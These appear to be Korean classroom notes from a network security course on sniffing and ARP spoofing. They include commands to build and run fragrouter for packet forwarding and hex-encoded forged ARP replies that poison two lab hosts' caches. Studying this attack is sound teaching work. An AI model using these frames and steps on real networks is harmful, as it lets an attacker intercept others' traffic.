네트워크 보안 수업 3일차 - 코리아 정보보안 IT학원

MAC Address변조를 어떻게 활용할 것인가?

다른사람의 패킷을 훔치는 공격 기법을 스니핑이라고 함

사진

ARP Spoofing - L2 단에서 가장 강력한 공격

ARP cash poisoning

ARP Spoofing

#> wget http://ftp.mirrorservice.org/sites/distfiles.macports.org/fragrouter/fragrouter-1.6.tar.gz

#> ./configure

#> make

#> make install

#> fragrouter -B1

프래그라우터에서 패킷이 포워딩했다는 메세지 출력

90 9f 33 ec d3 28 08 00 27 25 5d 35 08 06 00 01

08 00 06 04 00 02 08 00 27 25 5d 35 c0 a8 0f 13

90 9f 33 ec d3 28 c0 a8 0f 0f

Attacker: 192.168.15.140

target  : 192.168.15.15

dst/send: 192.168.15.19

-------------------------------------------------

90 9f 33 ec d6 e1 08 00 27 25 5d 35 08 06 00 01

08 00 06 04 00 02 08 00 27 25 5d 35 c0 a8 0f 0f

90 9f 33 ec d6 e1 c0 a8 0f 13

Attacker: 192.168.15.140

target  : 192.168.15.19

dst/send: 192.168.15.15